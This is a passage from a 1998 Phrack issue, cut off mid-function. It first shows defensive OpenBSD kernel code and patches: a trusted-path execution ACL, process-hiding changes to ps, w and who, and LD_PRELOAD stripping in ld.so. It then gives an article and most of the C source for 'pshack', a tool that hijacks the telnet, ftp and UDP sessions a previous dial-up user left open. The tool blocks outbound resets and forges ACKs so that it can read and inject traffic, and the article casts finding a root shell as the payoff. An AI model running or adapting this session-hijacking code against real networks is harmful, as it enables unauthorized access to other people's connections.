    {
	/*
	 *	Add to the end of the list, then sort.
	 */
	tpe_acl_candidates++;
	tpe_acl[tpe_acl_candidates] = candidate;
	tpe_sort(0, tpe_acl_candidates);

        printf("tpe: UID %d added to trust list\n", candidate);
    }
    else
    {
        printf("tpe: duplicate UID %d not added\n", candidate);
    }
    return (ACK);
}


int
tpe_remove(uid_t candidate)
{
    int n;

    if (tpe_acl_candidates == 0)
    {
        /*
         *  Empty list.
         */
        return (NACK);
    }			
    if ((n = tpe_search(candidate, 0, tpe_acl_candidates)) != NACK)
    {
        /*
         *  Remove the candidate (mark the slot as unused), resort the list.
         */
        tpe_acl[n] = TPE_INITIALIZER;
        tpe_acl_candidates--;
        tpe_sort(0, tpe_acl_candidates);

        printf("tpe: UID %d removed from trust list\n", candidate);
        return (ACK);
    }
    /*
     *  Not found.
     */
    return (NACK);
}


int
tpe_verify(uid_t candidate)
{
    if ((tpe_search(candidate, 0, tpe_acl_candidates)) != NACK)
    {
        return (ACK);
    }
    else
    {
        return (NACK);
    }
}


void
tpe_sort(int low, int high)
{
    int i, j, n;

    /*
     *  Standard insertion sort.
     */	
    for (i = low + 1; i <= high; i++)
    {
        COMPSWAP(tpe_acl[low], tpe_acl[i]);
    }

    for (i = low + 2; i <= high; i++)
    {
        j = i;
        n = tpe_acl[i];
        while (LESS(n, tpe_acl[j - 1]))
        {
            tpe_acl[j] = tpe_acl[j - 1];
            j--;
        }
        tpe_acl[j] = n;
    }
}


int
tpe_search(uid_t candidate, int low, int high)
{
    int n;

    /*
     *  Standard binary search.  XXX - should be iterative.
     */
    n = (low + high) / 2;

    if (low > high)
    {
        return (NACK);
    }
    if (candidate == tpe_acl[n])
    {
        return (n);
    }
    if (low == high)
    {
        return (NACK);
    }
    if (LESS(candidate, tpe_acl[n]))
    {
        return (tpe_search(candidate, low, n - 1));
    }
    else
    {
        return (tpe_search(candidate, n + 1, high));
    }
}

/* EOF */
<-->
<++> TPE/Core/kern/kern_tpe_sys.c
/*
 *  $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 *  Trusted path ACL syscall implementation for OpenBSD 2.4
 *
 *  Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 *  All rights reserved.
 *  Originally published in Phrack Magazine (http://www.phrack.com).
 *
 *  Thanks to nirva for helping me choose an ADT.
 *  See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <sys/kern_tpe.h>
#include <sys/systm.h>

#include <sys/mount.h>
#include <sys/syscallargs.h>


int
sys_tpe_adm(p, v, retval)
        struct proc *p;
        void *v;
        register_t *retval;
{
    struct sys_tpe_adm_args /* {
        syscallarg(int) mode;
        syscallarg(uid_t) candidate;
        syscallarg(uid_t *) list;
    } */ *uap = v;
    register struct pcred *pc = p->p_cred;
    register int i;
    register uid_t *lp;

    /*
     *  The only thing a non root user can do is check the status of the
     *  ld.so environment protection.  This is necessary because ld.so
     *  runs without elevated privilidges and needs to check this.
     */
    if (suser(pc->pc_ucred, &p->p_acflag) && SCARG(uap, mode) != TPE_LDCHECK_S)
    {
         return (EPERM);
    }

    switch (SCARG(uap, mode))
    {
        case TPE_ADD:
            if (tpe_add(SCARG(uap, candidate)) == ACK)
            {
                return (0);
            }
            else
            {
                return (ENOSPC);            /* Ugh.  Best we can do. */
            }
        case TPE_REMOVE:
            if (tpe_remove(SCARG(uap, candidate)) == ACK)
            {
                return (0);
            }
            else
            {
                return (ENOSPC);            /* Ugh. */
            }
        case TPE_SHOW:
            lp = SCARG(uap, list); 
            if (lp == NULL)
            {
                return (ENOSPC);
            }
            else
            {
                for (i = 0; i < TPE_ACL_SIZE; i++)
                {
                    lp[i] = tpe_acl[i];
                }
                return (0);
            }
        case TPE_LDCHECK_E:
            tpe_ld_check = 1;
            return (0);
        case TPE_LDCHECK_D:
            tpe_ld_check = 0;
            return (0);
        case TPE_LDCHECK_S:
            lp = SCARG(uap, list); 
            if (lp == NULL)
            {
                return (ENOSPC);
            }
            else    /* XXX - sysctl would be cleaner. */
            {
                lp[0] = tpe_ld_check;
                return (0);
            }
        default:
            return (ENXIO);                 /* Ugh. */
    }
    return (ENXIO);
}
<-->
<++> TPE/Core/sys/kern_tpe.h
/*
 *  $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 *  Trusted path ACL implementation for OpenBSD 2.4
 *
 *  Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 *  All rights reserved.
 *  Originally published in Phrack Magazine (http://www.phrack.com).
 *
 *  Thanks to nirva for helping me choose an ADT.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *      Trusted path ACL implementation for OpenBSD 2.4
 *
 *      For the full write-up please see Phrack Magazine, issue 54, article 6
 *      http://www.phrack.com
 *
 *      Overview:
 *
 *  A trusted path/ACL execution implementation for OpenBSD.  We consider
 *  a path to be trusted if the parent directory is owned by root and is not
 *  group or world writable.  We consider a user to be trusted if she is on
 *  the kernels trust list.
 *
 *      Implementation details:
 *
 *  Inside the kern_exec function, we first check the path for trust, if that
 *  fails, we then check the user's credentials to see if she is  able to run
 *  binaries in an untrusted path.  Untrusted users are not allowed to execute
 *  programs from untrusted pathes.
 *
 *  The decision was the made to use a static array to hold the trusted IDs
 *  for both convienience and runtime efficiency.  We keep the list ordered
 *  after all insertions and deletions, and therefore, we can search the list
 *  (where speed is critical) in a worst case of O(lg N).  Compare that with a
 *  sequential search in an ordered list which has a worst case of O(N).
 * 	
 *  The speed in which user ID verification is done is absolutely essential,
 *  as this check will be done for every call to exec that does not originate
 *  from a trusted path.  This has the potential to be a huge bottle neck.
 *  This was taken into consideration and the bulk of processing overhead is
 *  offloaded to list initialization and modification.
 */

#ifndef __KERN_TPE_H
#define	__KERN_TPE_H

#ifdef _KERNEL
#include <sys/types.h>
#include <sys/cdefs.h>
#include <sys/systm.h>
#include <sys/param.h>
#include <sys/ucred.h>
#include <sys/proc.h>
#endif 

/*
 *  syscall stuff
 */
#define TPE_ADD         0       /* add an entry */
#define TPE_REMOVE      1       /* delete an entry */
#define TPE_SHOW        2       /* show the list */
#define TPE_LDCHECK_E   3       /* enable ld.so environment checking */
#define TPE_LDCHECK_D   4       /* disable ld.so environment checking */
#define TPE_LDCHECK_S   5       /* show ld.so environment check status */

#define TPE_ACL_SIZE    80      /* Shouldn't need to be larger */
#define TPE_INITIALIZER	-1      /* A UID that isn't used */

#define ACK             1       /* positive acknowledgement */
#define NACK            -1      /* negative acknowledgement */

#define LESS(X, Y)      (X < Y)
#define SWAP(X, Y)      (X ^= Y, Y ^= X, X ^= Y)
#define COMPSWAP(X, Y)  if (LESS(Y, X)) SWAP(X, Y)

/*
 *  Verify the path.  This macro is passed a filled in attr struct via
 *  VOP_GETATTR.
 */
#define TRUSTED_PATH(AT) \
(!(AT.va_mode & (S_IWGRP | S_IWOTH)) && (AT.va_uid == 0))

/*
 *  Verify the user.  This macro is passed the user's ID from the u_cred
 *  struct.
 */
#define TRUSTED_USER(UID) (tpe_verify(UID) == ACK)

uid_t tpe_acl[TPE_ACL_SIZE];    /* trusted user list */
int tpe_acl_candidates;         /* number of users on the list */
int tpe_ld_check;               /* check ld.so env */

/*
 *  Initialize the array with default values (TPE_INITIALIZER).
 */
void
tpe_init __P((
    void
    ));


/*
 *  Dump the list.
 */
void
tpe_show __P((
    void
    ));


/*
 *  Attempt to add a candidate to the list.  Only fails if the list is full.
 */
int
tpe_add __P((
    uid_t	/* candidate user for addition */
    ));


/*
 *  Attempt to remove a candidate from the list.  Only fails if the entry is
 *  not there.
 */
int
tpe_remove __P((
    uid_t       /* candidate user for deletion */
    ));


/*
 *  Verify a candidate user.
 */
int
tpe_verify __P((
    uid_t       /* candidate user for verification */
    ));


/*
 *  Insertion sort the list.
 */
void
tpe_sort __P((
    int,        /* list low element */
    int         /* list high high element */
    ));


/*
 *  Locate a uid in the list, standard recursive binary search, running in
 *  worst case of lg N.
 */
int
tpe_search __P((
    uid_t,      /* candidate user to search for */
    int,        /* list low element */
    int         /* list high high element */
    ));

#endif	/* __KERN_TPE_H */
/* EOF */
<-->
<++> PP/Patch/PP-diff
--- ./usr.bin/fstat/fstat.c.orig	Tue Oct 20 10:43:58 1998
+++ ./usr.bin/fstat/fstat.c	Tue Oct 20 10:47:22 1998
@@ -158,6 +158,7 @@
 	char *memf, *nlistf;
 	char buf[_POSIX2_LINE_MAX];
 	int cnt;
+        pid_t __uid;
 
 	arg = 0;
 	what = KERN_PROC_ALL;
@@ -248,7 +249,12 @@
 	else
 		putchar('\n');
 
+        __uid = getuid();
 	for (plast = &p[cnt]; p < plast; ++p) {
+                if (__uid)
+                {
+                    if (p->kp_eproc.e_pcred.p_ruid != __uid) continue;
+                }
 		if (p->kp_proc.p_stat == SZOMB)
 			continue;
 		dofiles(p);
--- ./bin/ps/ps.c.orig	Tue Oct 20 10:48:40 1998
+++ ./bin/ps/ps.c	Tue Oct 20 10:51:26 1998
@@ -112,6 +112,7 @@
 	dev_t ttydev;
 	pid_t pid;
 	uid_t uid;
+        uid_t __uid;
 	int all, ch, flag, i, fmt, lineno, nentries;
 	int prtheader, wflag, what, xflg;
 	char *nlistf, *memf, *swapf, errbuf[_POSIX2_LINE_MAX];
@@ -281,6 +282,8 @@
 	if (!all && ttydev == NODEV && pid == -1)  /* XXX - should be cleaner */
 		uid = getuid();
 
+        __uid = getuid();
+
 	/*
 	 * scan requested variables, noting what structures are needed,
 	 * and adjusting header widths as appropiate.
@@ -330,6 +333,20 @@
 	for (i = lineno = 0; i < nentries; i++) {
 		KINFO *ki = &kinfo[i];
 
+                /*
+                 *  root gets to see the whole proccess list.
+                 */
+                if (__uid)
+                {
+                    /*
+                     *  If the process in question is not our own, we do not
+                     *  get to see it.
+                     */
+                    if (kinfo[i].ki_p->kp_eproc.e_pcred.p_ruid != __uid)
+                    {
+                        continue;
+                    }
+                }
 		if (xflg == 0 && (KI_EPROC(ki)->e_tdev == NODEV ||
 		    (KI_PROC(ki)->p_flag & P_CONTROLT ) == 0))
 			continue;
--- ./usr.bin/w/w.c.orig	Tue Oct 20 10:52:02 1998
+++ ./usr.bin/w/w.c	Tue Oct 20 10:54:46 1998
@@ -131,6 +131,7 @@
 	int ch, i, nentries, nusers, wcmd;
 	char *memf, *nlistf, *p, *x;
 	char buf[MAXHOSTNAMELEN], errbuf[_POSIX2_LINE_MAX];
+        uid_t __uid;
 
 	/* Are we w(1) or uptime(1)? */
 	p = __progname;
@@ -332,6 +333,14 @@
 			    ep->utmp.ut_host + UT_HOSTSIZE - x, x);
 			p = buf;
 		}
+                __uid = getuid();
+                if (__uid)
+                (void)printf("%-*.*s %-2.2s %-*.*s ",
+                    UT_NAMESIZE, UT_NAMESIZE, ep->utmp.ut_name,
+                    strncmp(ep->utmp.ut_line, "tty", 3) ?
+                    ep->utmp.ut_line : ep->utmp.ut_line + 3,
+                    UT_HOSTSIZE, UT_HOSTSIZE, "<skulking about>");
+                else
 		(void)printf("%-*.*s %-2.2s %-*.*s ",
 		    UT_NAMESIZE, UT_NAMESIZE, ep->utmp.ut_name,
 		    strncmp(ep->utmp.ut_line, "tty", 3) ?
@@ -339,7 +348,14 @@
 		    UT_HOSTSIZE, UT_HOSTSIZE, *p ? p : "-");
 		pr_attime(&ep->utmp.ut_time, &now);
 		pr_idle(ep->idle);
-		pr_args(ep->kp);
+                if (__uid)
+                {
+                    printf("<this n' that>");
+                }
+                else
+                {
+                    pr_args(ep->kp);                     
+                }
 		printf("\n");
 	}
 	exit(0);
--- ./usr.bin/who/who.c.orig	Tue Aug 19 22:37:21 1997
+++ ./usr.bin/who/who.c	Tue Oct 20 10:57:04 1998
@@ -227,6 +227,7 @@
 	char state = '?';
 	static time_t now = 0;
 	time_t idle = 0;
+        uid_t __uid;
 
 	if (show_term || show_idle) {
 		if (now == 0)
@@ -265,8 +266,15 @@
 			(void)printf(" old  ");
 	}
 	
-	if (*up->ut_host)
-		printf("\t(%.*s)", UT_HOSTSIZE, up->ut_host);
+        __uid = getuid();
+        if (__uid)
+        {
+            printf("\t<skulking about>");
+        }
+        else if (*up->ut_host)
+        {
+            printf("\t(%.*s)", UT_HOSTSIZE, up->ut_host);
+        }
 	(void)putchar('\n');
 }
<--> 
<++> TPE/Core/Patch/ld.so-diff
--- gnu/usr.bin/ld/rtld/rtld.c.old	Thu Oct 22 20:44:52 1998
+++ gnu/usr.bin/ld/rtld/rtld.c	Sat Oct 24 16:44:00 1998
@@ -39,6 +39,8 @@
 #include <sys/resource.h>
 #include <sys/errno.h>
 #include <sys/mman.h>
+#include <sys/syscall.h>
+#include "/usr/src/sys/sys/kern_tpe.h"
 #ifndef MAP_COPY
 #define MAP_COPY	MAP_PRIVATE
 #endif
@@ -150,7 +152,9 @@
 static uid_t		uid, euid;
 static gid_t		gid, egid;
 static int		careful;
+static int		tpe_ld_strip;
 static int		anon_fd = -1;
+static uid_t            list[TPE_ACL_SIZE];
 
 struct so_map		*link_map_head, *main_map;
 struct so_map		**link_map_tail = &link_map_head;
@@ -271,7 +275,20 @@
 
 	careful = (uid != euid) || (gid != egid);
 
-	if (careful) {
+        if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, -1, list) == -1)
+        {
+            fprintf(stderr, "Unknown internal error\n"); /* should NOT fail */
+            exit(EXIT_FAILURE);
+        }
+        if (list[0] && uid)
+        {
+            if (getenv("LD_PRELOAD") || getenv("LD_LIBRARY_PATH"))
+            {
+                fprintf(stderr, "Your environment contains illegal variables which are being stripped out for the execution of this program.\n");
+            }
+            tpe_ld_strip = 1;
+        }
+	if (careful || tpe_ld_strip) {
 		unsetenv("LD_LIBRARY_PATH");
 		unsetenv("LD_PRELOAD");
 	}
<-->
----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 07 of 12


-------------------------[  Scavenging Connections On Dynamic-IP Networks


--------[  Seth McGann <smm@wpi.edu> (www.el8.org) 11.29.98
	


----[  Purpose

This paper will highlight a potentially serious loophole in networks that rely
on dynamic IP assignment.  More specifically, dial-up dynamic IP assignment
provided by almost every Internet Service Provider.  This problem will allow
the unauthorized use of the previous host's connections, for instance, in
progress telnet and ftp control sessions.  This issue is reminiscent of the
problem where terminal servers would sometimes provide an already logged in
session to a user lucky enough to call precisely after a forced disconnect due
to line noise or other outside factor.


----[  The Problem

To perform this feat we rely on some well know concepts, usually employed for
non-blind spoofing or session hijacking.  First, we have to understand what
a connection looks like after an abrupt loss of service.  The key point is
that the connection does not simply disappear, because there is no way for the
disconnected host to notify the remote end that it has lost its link.  If the
remote end tries to send more data and there is no host available, the upstream
router will generate an ICMP unreachable and the connection will be terminated.
If another dial-up user connects before the remote end has sent any more data
the story is different.  For a TCP based connection, the kernel will see a
packet going to an unconnected port, usually with PUSH and ACK set or simply
ACK, and will generate a RST, ending the connection.  For an incident UDP
packet, an ICMP unreachable is generated.  Either way the connection will
evaporate.


----[  The Solution

Solving the problem is twofold.  We must first prevent the kernel from killing
the connections and second we must make sure the remote end knows we are still
alive, to prevent timeouts.  For UDP the answer is very simple.  As long as we
block outbound ICMP unreachable packets the remote end won't disconnect.
Application timeouts must be dealt with, of course.  For TCP we have a bigger
problem, since the connections will die if not responded to.  To prevent our
poisonous RST packets from reaching the remote side we simply block all
outbound TCP traffic.  To keep the dialogue going, we simply ACK all incident
PUSH|ACK packets and increment the ACK and SEQ numbers accordingly.  We
recover data from packets with the PUSH flag set.  Additionally we can
send data back down the connection by setting the PUSH and ACK flags on
our outbound packets.


----[  Implementation

To stop our kernel from killing the latent connections, we first block all
outbound traffic. Under linux a command such as the following would be
effective:

/sbin/ipfwadm -O -a deny -S 0.0.0.0/0  -P all -W ppp0

Now, no RST packets or ICMP will get out.  We are essentially turning off
kernel networking support and handling all the details ourselves.  This will
not allow us to send using raw sockets, unfortunately.  SOCK_PACKET could
be used, but in the interests of portability the firewall is simply opened
to send a packet and then closed.  To be useful on a larger number of
platforms, libpcap 0.4 was used for pulling packets off the wire and
Libnet 0.8b was used for putting them back again.  The program itself is
called pshack.c because that's basically all it does.  Additionally, it will
allow you respond to in progress connections just in case you find a root
shell.  It will also accept inbound connections, and allow you to reply to
them.  Note, this will only work on Linux right now, due to the differences in
handling of the firewall.  This is very minor and will be fixed soon.  It
should compile without incident on RedHat 5.1 or 4.2 and on Slackware as well,
given one change to the ip firewall header file, namely taking out the
#include <linux/tcp.h> line.


----[  Conclusions

Using this program it is easy to scavenge telnet and ftp control sessions,
or basically any low traffic, idle connection.  Grabbing ICQ sessions is a
good example of a UDP based scavenge.  Obviously, streaming connections,
such as ftp data will be ICMP to death before they can be scavenged.  It's
interesting to note that hosts that drop ICMP unreachable packets, for fear
of forged unreachable packets, are particularly vulnerable as they will not
lose the connection as quickly.

Required:

libpcap 0.4  -> ftp://ftp.ee.lbl.gov/libpcap.tar.Z
Libnet  0.8b -> http://www.infonexus.com/~daemon9/Projects/Libnet/

<++> scavenge/pshack.c
/* - PshAck.c - Attempts to scavenge connections when you dial up an ISP.
 *   Author:    Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section)
 *   Date:      11/29/98
 *   Greets:    dmess0r,napster,awr,all things w00w00,#203
 *   Version:   0.3
 *
 *   Usage:
 *              1.  Dial up your ISP and start pshack up.
 *              2.  If you are lucky you will see connections you did not
 *		    make :)
 *              3.  Repeat the procedure.
 *   Options:
 *             -i: The interface
 *             -l: Link offset
 *             -s: Your source IP
 *
 *   Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have
 *              libpcap and Libnet installed properly.
 *
 *              libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z
 *              Libnet  0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/
 *
 *   Have fun!
 */

#define __BSD_SOURCE
#include <netinet/udp.h>
#define __FAVOR_BSD
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syslog.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <libnet.h>
#include <pcap.h>
#include <netinet/ip_fw.h>
#include <setjmp.h>

/* #define DEBUGIT */

#ifdef DEBUGIT
#define DEFAULT_INTERFACE "eth1"
#define DEFAULT_OFFSET    14
#else
#define DEFAULT_INTERFACE "ppp0"   /* Default is PPP with no linklayer */
#define DEFAULT_OFFSET    0
#endif

struct conn {
	u_int    type;
	u_long   src,dst,seq,ack;
	u_short  sport,dport;
};

void clean_exit(int);
void time_out(int);
void usage(char *);
void dump_packet( u_char *, int );
int update_db( u_char *, int, struct conn*);
void dump_db (struct conn*);

char errbuf[2000];
sigjmp_buf env;



int
main (int argc, char **argv) {

	struct ip     *ip_hdr;
	struct tcphdr *tcp_hdr;
	struct udphdr *udp_hdr;
	struct ip_fw  fw;
	struct ifreq  ifinfo;
	struct pcap_pkthdr ph;
	pcap_t        *pd;
	u_long        local=0,seq,ack;
	u_short	      flags=0;
	u_char        *d_ptr,*packet;
	u_char	      *pbuf=malloc(TCP_H+IP_H+500);
	char 	      iface[17],sendbuf[500];
	int           osock,sfd,linkoff,i,datalen,newsize,dbsize=0;
	struct conn   conn[100];         /* WAY more than enough */
	char arg;	
        fd_set rfds;
        struct timeval tv;
        int retval;
	char user[500];
	
	
        strcpy(iface,DEFAULT_INTERFACE);
        linkoff=DEFAULT_OFFSET;

	while((arg = getopt(argc,argv,"i:s:l:")) != EOF){
            switch(arg) {
	          case 's':
	          local=inet_addr(optarg);
	          break;
	          case 'i':
	          strncpy(iface,optarg,16);
	          break;
	          case 'l':
	          linkoff=atoi(optarg);
	          break;
	          default:
	          usage(argv[0]);
	          break;
	     }
        }

	printf("* Blocking till %s comes up *\n",iface);
	
        do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd);
	
	printf("* Configuring Raw Output *\n");
	osock=open_raw_sock(IPPROTO_RAW);
        if (osock<0)perror("socket()"),exit(1);
	strcpy(ifinfo.ifr_ifrn.ifrn_name,iface);
        if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
        if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
        if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1);
	
        bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4);
	printf("* Address: %s\n",host_lookup(local,0));

        printf("* Blocking Outbound on %s *\n",iface);
	sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
        if(sfd<0) perror("socket()"),exit(1);

	bzero(&fw,sizeof(fw));
        strcpy(fw.fw_vianame,iface);
        #ifdef DEBUGIT
	fw.fw_flg=IP_FW_F_ICMP;
        if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
        perror("setsockopt()"),exit(1);
	fw.fw_flg=IP_FW_F_TCP;
        fw.fw_nsp=1;
        fw.fw_pts[0]=666;
        #endif
        if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
        perror("setsockopt()"),exit(1);

	signal(SIGTERM,clean_exit);
	signal(SIGINT,clean_exit);
	signal(SIGALRM,time_out);	

	printf("* Entering Capture Loop *\n\n");
	printf("* Commands [1] Dump databese\n"
	       "           [2] Send on connection <n> Ex: 2 1 ls -al\n"
	       "           [3] Exit\n\n");
	sigsetjmp(env,1);
	
	FD_ZERO(&rfds);
        FD_SET(0, &rfds);
        tv.tv_sec = 0;
	tv.tv_usec = 0;

        retval = select(1, &rfds, NULL, NULL, &tv);
	
	if (retval) {
	   retval=read(1,user,sizeof(user));
	   user[retval]=0;
	   switch(user[0]) {
             case '1':
       	     dump_db(conn);
             break;
	     case '2':
	     i=atoi(&user[2]);
	     if (i > dbsize) {
	         printf("* Invalid connection index) *\n");
	         break;
             }
             build_ip(TCP_H,
           	      101,
		      0,
           	      IP_DF,
	       	      128,
		      IPPROTO_TCP,
		      local,
         	      htonl(conn[i].src),
	     	      NULL, 0, pbuf);
	
	     build_tcp(conn[i].dport,
		       conn[i].sport,
		       conn[i].seq,
                       conn[i].ack,
		       TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4),
                           pbuf + IP_H);

	     do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4));
	     setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
	     write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4));
             setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));

 	     printf("Sent: %s\n",user+4);
             break;
	     case '3':
	     clean_exit(1);
	     break;
	     default:
             break;
           }
	}
	alarm(1);
	
	for(;packet=pcap_next(pd,&ph);) {
	
        ip_hdr = (struct ip *)(packet + linkoff);
	
	switch(ip_hdr->ip_p) {
	
	case IPPROTO_TCP:
             tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
	     dump_packet(packet,linkoff);
	     #ifdef DEBUGIT
	     if ((ntohl(ip_hdr->ip_src.s_addr) != local) &&
		 ntohs(tcp_hdr->th_dport)==666) {
	     #else
	     if (ntohl(ip_hdr->ip_src.s_addr) != local) {
	     #endif
	     newsize=update_db(packet, linkoff, conn);

	     if(newsize>dbsize) {
             printf("New Connect:\n");
             dbsize=newsize;}

	     if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN &&
	 	 tcp_hdr->th_flags&TH_ACK)) {
		 datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H;
		 if(!datalen) datalen++;

	         seq=ntohl(tcp_hdr->th_ack);
		 ack=ntohl(tcp_hdr->th_seq)+datalen;
		 flags=TH_ACK;
  		 } else if(tcp_hdr->th_flags&TH_SYN) {
		 seq=get_prand(PRu32);
		 ack=ntohl(tcp_hdr->th_seq)+1;
		 flags=TH_SYN|TH_ACK;
	      	 }

	         if(flags) {
                 build_ip(TCP_H,
			  101,
			  0,
		 	  IP_DF,
	       		  128,
			  IPPROTO_TCP,
			  local,
                          ip_hdr->ip_src.s_addr,
			  NULL, 0, pbuf);
	
		 build_tcp(ntohs(tcp_hdr->th_dport),
		           ntohs(tcp_hdr->th_sport),
		           seq,
                           ack,
		           flags, 31000, 0, NULL, 0, pbuf + IP_H);

		 do_checksum(pbuf, IPPROTO_TCP, TCP_H);
		 setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
                 write_ip(osock, pbuf, TCP_H + IP_H);
                 setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
		 flags=0; }
	     }
	     break;
	
	case IPPROTO_UDP:
	     dump_packet(packet,linkoff);
	     break;
	default:
	break;
	    }
	  }

}


void
dump_packet( u_char *packet, int linkoff ) {

	struct ip     *ip_hdr;
	struct tcphdr *tcp_hdr;
	struct udphdr *udp_hdr;
	u_char        *d_ptr;
	u_int         i;

	ip_hdr = (struct ip *)(packet + linkoff);
	
	switch (ip_hdr->ip_p) {
	
	case IPPROTO_TCP:
	tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
	
	printf("********************\n");
	printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n "
	       "Flags: %c%c%c%c%c%c Data Len: %d\n",
		host_lookup(ip_hdr->ip_src.s_addr,0),
		ntohs(tcp_hdr->th_sport),
		host_lookup(ip_hdr->ip_dst.s_addr,0),
		ntohs(tcp_hdr->th_dport),
	        ntohl(tcp_hdr->th_seq),
	        ntohl(tcp_hdr->th_ack),	
	        (tcp_hdr->th_flags & TH_URG)  ? 'U' : '-',
                (tcp_hdr->th_flags & TH_ACK)  ? 'A' : '-',
                (tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-',
                (tcp_hdr->th_flags & TH_RST)  ? 'R' : '-',
                (tcp_hdr->th_flags & TH_SYN)  ? 'S' : '-',
                (tcp_hdr->th_flags & TH_FIN)  ? 'F' : '-',
                ntohs(ip_hdr->ip_len)-IP_H-TCP_H);
	
		d_ptr=packet+linkoff+TCP_H+IP_H;

                for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++)
                   if (d_ptr[i]=='\n')
		      printf("\n");
                   else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F)
		           printf("%c",d_ptr[i]);
                        else
                           printf (".");

		printf("\n");
		break;

	case IPPROTO_UDP:

	udp_hdr=(struct udphdr*)(((char*)ip_hdr) + (4 * ip_hdr->ip_hl));
	printf("********************\n");
	printf("UDP: %s.%d->%s.%d Data Len: %d\n",
               host_lookup(ip_hdr->ip_src.s_addr,0),
               ntohs(udp_hdr->uh_sport),
               host_lookup(ip_hdr->ip_dst.s_addr,0),
               ntohs(udp_hdr->uh_dport),
	       ntohs(ip_hdr->ip_len)-IP_H-UDP_H);

	d_ptr=packet+linkoff+UDP_H+IP_H;
